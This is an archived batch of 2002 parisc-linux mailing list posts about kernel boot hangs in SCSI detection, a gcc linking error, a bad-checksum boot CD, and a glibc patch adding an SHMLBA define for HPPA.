List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17041

This is a multi-part message in MIME format.
--------------B527D0DA0A52C081C6A8CD95
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpDQpJJ3ZlIGRvd25sb2FkIHRoZSBsYXRlc3QgYml0Og0KbGludXgtMi40LjIwLXBh
MTAudGFyLmd6DQoNCkkndmUgZG9uZToNCnRhciB4emYNCmNkIGxpbnV4DQptYWtlIG9sZGNv
bmZpZw0KbWFrZSBkZXANCm1ha2Ugdm1saW51eCAobm8gbW9kdWxlcyBhdCBhbGwpDQpyZWJv
b3Qgb24gdGhpcyBuZXcga2VybmVsLCBhbmQgaXQgaGFuZ2luZyBub3c6DQpzY3NpMSA6IHN5
bTUzYzh4eC0xLjcuM2MtMjAwMTA1MTINCnNjc2kyIDogc3ltNTNjOHh4LTEuNy4zYy0yMDAx
MDUxMg0Kc2NzaTMgOiBzeW01M2M4eHgtMS43LjNjLTIwMDEwNTEyDQpibGs6IHF1ZXVlIDAw
MDAwMDAwNGZjNTg0NDAsIEkvTyBsaW1pdCA0MDk1TWIgKG1hc2sgMHhmZmZmZmZmZikNCg0K
bm90aGluZyBtb3JlLCBpdCBzdGF5IGhlcmUgZm9yZXZlci4uLi4uLi4NCg0KSXQgaXMgYW4g
QTUwMCBpbiBTTVAvNjQuDQoNCkEgbm9ybWFsIGJvb3Qgd2l0aCAyLjQuMTkNCnNjc2kxIDog
c3ltNTNjOHh4LTEuNy4zYy0yMDAxMDUxMg0Kc2NzaTIgOiBzeW01M2M4eHgtMS43LjNjLTIw
MDEwNTEyDQpzY3NpMyA6IHN5bTUzYzh4eC0xLjcuM2MtMjAwMTA1MTINCiAgVmVuZG9yOiBT
RUFHQVRFICAgTW9kZWw6IFNUMzEyMzBOICAgICAgICAgIFJldjogSFAwNQ0KICBUeXBlOiAg
IERpcmVjdC1BY2Nlc3MgICAgICAgICAgICAgICAgICAgICAgQU5TSSBTQ1NJIHJldmlzaW9u
OiAwMg0KICBWZW5kb3I6IFNFQUdBVEUgICBNb2RlbDogU1QzMTg0MDRMQyAgICAgICAgUmV2
OiBIUDA0DQoNCkl0IHNlZW1zIHRoYXQgc2NzaSBkZXRlY3Rpb24gaGFzIHNvbWUgdHJvdWJs
ZS4NCg0KVGhhbmtzLg0KDQotLQ0KICAgICAgICBWaWRhbCBCcnVubywgKDc3MC00MjcxKQ0K
ICAgICAgICBTU0QtSEEgVGVhbSwgSFAtVVggJiBMSU5VWCBTdXBwb3J0DQogICAgICAgIGJy
dW5vX3ZpZGFsQGFkbWluLmZyYW5jZS5ocC5jb20NCg0KDQo=
--------------B527D0DA0A52C081C6A8CD95
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------B527D0DA0A52C081C6A8CD95--



From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] towards unattended reboot
Date: Fri, 6 Dec 2002 09:42:35 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20021206164234.GF4460@cranston.fc.hp.com>
References: <20021206135243.GA20175@b180.mmjgroup.com> <20021206162227.GB8611@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622003 18430 80.91.229.3 (22 Nov 2014 02:06:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:43 +0000 (UTC)
Cc: lamont@hp.com
To: Carlos O'Donell <carlos@baldric.uwo.ca>, lamont@hp.com,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 09:42:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B9F04877
	for <parisc-linux@parisc-linux.org>; Fri,  6 Dec 2002 09:42:46 -0700 (MST)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 3AA33E005B1; Fri,  6 Dec 2002 11:42:39 -0500 (EST)
Original-Received: by security.hp.com (Postfix, from userid 23683)
	id 4F00212134; Fri,  6 Dec 2002 09:42:35 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021206162227.GB8611@systemhalted>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17042

On Fri, Dec 06, 2002 at 11:22:27AM -0500, Carlos O'Donell wrote:
> Looks awesome in my opinion. I've needed something like this for my
> cluster, it gets anyone when machines don't reset on crash :)
> Though having this be optional seems like an important feature to add.

I want a /proc entry to tweak it... :-)

lamont


From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new 2.4.20-pa10 kernel: boot pb.
Date: Fri, 6 Dec 2002 09:09:04 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <20021206170904.GY19331@tausq.org>
References: <3DF0D2C0.D24A29B1@admin.france.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622004 18434 80.91.229.3 (22 Nov 2014 02:06:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:44 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 10:05:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EF1A4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 10:05:53 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 26E6ECD839; Fri,  6 Dec 2002 09:09:04 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3DF0D2C0.D24A29B1@admin.france.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17043

> nothing more, it stay here forever.......
> 
> It is an A500 in SMP/64.
> 
> A normal boot with 2.4.19
> scsi1 : sym53c8xx-1.7.3c-20010512
> scsi2 : sym53c8xx-1.7.3c-20010512
> scsi3 : sym53c8xx-1.7.3c-20010512
>   Vendor: SEAGATE   Model: ST31230N          Rev: HP05
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>   Vendor: SEAGATE   Model: ST318404LC        Rev: HP04

Bruno, can you try the sym2 driver and let us know how it goes?

CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=0
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64

there was a similar problem with the sym2 driver that was fixed
recently.

alternatively, please try turning on CONFIG_DEBUG_SPINLOCK in your
kernel and try running the sym53c8xx driver and see if that helps
identify the problem...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linking
Date: Fri, 6 Dec 2002 12:56:41 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714F9CDC0A@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622004 18435 80.91.229.3 (22 Nov 2014 02:06:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:44 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 10:56:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id B63EA4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 10:56:53 -0700 (MST)
Original-Received: from xatlrelay2.atl.hp.com (xatlrelay2.atl.hp.com [15.45.89.191])
	by atlrel9.hp.com (Postfix) with ESMTP id 5270FE0107A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 12:56:49 -0500 (EST)
Original-Received: from xatlbh1.atl.hp.com (xatlbh1.atl.hp.com [15.45.89.186])
	by xatlrelay2.atl.hp.com (Postfix) with ESMTP id 50B04400183
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 12:56:48 -0500 (EST)
Original-Received: by xatlbh1.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <X41WNCLV>; Fri, 6 Dec 2002 12:56:48 -0500
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17044

Hi people,

	I'm tryng link some object files (c and asm files already compiled)
and I got an error. 
	Could someone help-me to solve it?

	The main function is in main.c(main.o)
	Command Line:  gcc -o exec main.o asm.o .file1.o file2.o
	Error:
		/usr/lib/gcc-lib/hppa-linux/3.0.4/../../../crt1.o: In
function `_start':
	
/usr/lib/gcc-lib/hppa-linux/3.0.4/../../../crt1.o(.text+0x0): undefined
reference to `main'
	
/usr/lib/gcc-lib/hppa-linux/3.0.4/../../../crt1.o(.text+0x4): undefined
reference to `main'
		collect2: ld returned 1 exit status

Thanks in advance,

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com





From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linking
Date: Fri, 6 Dec 2002 13:04:36 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200212061804.gB6I4aJD006826@hiauly1.hia.nrc.ca>
References: <9A0482A7BD2506488AD9417C93F3714F9CDC0A@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622004 18439 80.91.229.3 (22 Nov 2014 02:06:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: leandro.farinati@hp.com (FARINATI, LEANDRO)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 11:04:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9E514829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 11:04:42 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gB6I4aot006827;
	Fri, 6 Dec 2002 13:04:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gB6I4aJD006826;
	Fri, 6 Dec 2002 13:04:36 -0500 (EST)
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714F9CDC0A@xsp01.brazil.hp.com> from "FARINATI,LEANDRO" at Dec 6, 2002 12:56:41 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17045

> 	The main function is in main.c(main.o)

Are you sure?  You said the modules were precompiled.  You can
use nm, objdump or readelf to look at the symbols main.o.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John K." <jkirk9@cfl.rr.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bad IPL checksum error on 710
Date: Fri, 6 Dec 2002 15:46:06 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <NDBBLBLICLEJGEFEEOCIIEPJCCAA.jkirk9@cfl.rr.com>
Reply-To: <jkirk9@cfl.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622005 18446 80.91.229.3 (22 Nov 2014 02:06:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:45 +0000 (UTC)
To: "parisc-linux Mailing list" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 13:48:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-server1.tampabay.rr.com (smtp-server1.tampabay.rr.com [65.32.1.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id A978C4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 13:48:21 -0700 (MST)
Original-Received: from pentium-200 (229.201.33.65.cfl.rr.com [65.33.201.229])
	by smtp-server1.tampabay.rr.com (8.12.2/8.12.2) with SMTP id gB6KmCdu029358
	for <parisc-linux@lists.parisc-linux.org>; Fri, 6 Dec 2002 15:48:16 -0500 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17046

All

I am new to all of this so bear with me.

My hardware is a 710 48 Meg of RAM 1 Gig disk at scsi.6.0 NEC CD drive at
scsi.3.0

I downloaded debian-30r0-hppa-binary-1.iso and burned a CD.

>From BOOT_ADMIN> I enter "boot scsi.3.0

message is:

Trying scsi.30.
Boot path initialized
Attempting to load IPL
IPL error: Bad IPL checksum

then searches and lists potential boot devices.

The simple question is what do I do now?

Thanks for the help.

John




From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bad IPL checksum error on 710
Date: Fri, 6 Dec 2002 21:43:14 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20021207044314.GA31907@dsl2.external.hp.com>
References: <NDBBLBLICLEJGEFEEOCIIEPJCCAA.jkirk9@cfl.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622005 18451 80.91.229.3 (22 Nov 2014 02:06:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:45 +0000 (UTC)
Cc: parisc-linux Mailing list <parisc-linux@lists.parisc-linux.org>
To: "John K." <jkirk9@cfl.rr.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 21:43:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 816CB4829; Fri,  6 Dec 2002 21:43:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <NDBBLBLICLEJGEFEEOCIIEPJCCAA.jkirk9@cfl.rr.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17047

On Fri, Dec 06, 2002 at 03:46:06PM -0500, John K. wrote:
> I downloaded debian-30r0-hppa-binary-1.iso and burned a CD.
...
> Attempting to load IPL
> IPL error: Bad IPL checksum
...
> The simple question is what do I do now?

The CD is a coaster.
The ISO definitely works on all the machines I have around here.

I suggest using a linux machine with a CD writer and "cdrecord -data".
The "cdrecord How-to" describes the 2-3 stesp - very simple.

grant


From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Add SHMLBA define to shm.h (HPPA).
Date: Sun, 8 Dec 2002 17:09:18 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <20021208220918.GC32062__37010.0027569153$1416622005$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="U+BazGySraz5kW0T"
X-Trace: ger.gmane.org 1416622005 18454 80.91.229.3 (22 Nov 2014 02:06:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:45 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  8 15:09:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACDD14829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Dec 2002 15:09:21 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18L9bz-0000Mf-00; Sun, 08 Dec 2002 17:09:19 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17048

--U+BazGySraz5kW0T
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


libc-alpha,

Kernel headers and glibc headers are mildly out of sync on HPPA, I'll
keep my eye out for further inconsistencies. This particular issue was
found while building the latest debian X packages. Odd that it didn't 
turn up before.

c.
---

2002-12-07  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* sysdeps/unix/sysv/linux/hppa/bits/shm.h: Added SHMLBA define.


--U+BazGySraz5kW0T
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=03-glibc23-hppa-shm

--- glibc-2.3.1/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2002-12-07 19:42:52.000000000 -0500
+++ glibc-2.3.1/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2002-12-07 19:33:10.000000000 -0500
@@ -36,6 +36,8 @@
 #define SHM_LOCK	11		/* lock segment (root only) */
 #define SHM_UNLOCK	12		/* unlock segment (root only) */
 
+/* Segment low boundary address multiple */
+#define SHMLBA 0x00400000   /* attach addr needs to be 4 Mb aligned */
 
 /* Type to count number of attaches.  */
 typedef unsigned long int shmatt_t;

--U+BazGySraz5kW0T--


From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Add SHMLBA define to shm.h (HPPA).
Date: Sun, 08 Dec 2002 14:55:33 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <3DF3CDE5.6070008__37470.2355861247$1416622006$gmane$org@redhat.com>
References: <20021208220918.GC32062@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622006 18455 80.91.229.3 (22 Nov 2014 02:06:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:46 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  8 15:55:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from myware.akkadia.org (cpe-24-221-190-179.ca.sprintbbd.net [24.221.190.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id 247974829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Dec 2002 15:55:48 -0700 (MST)
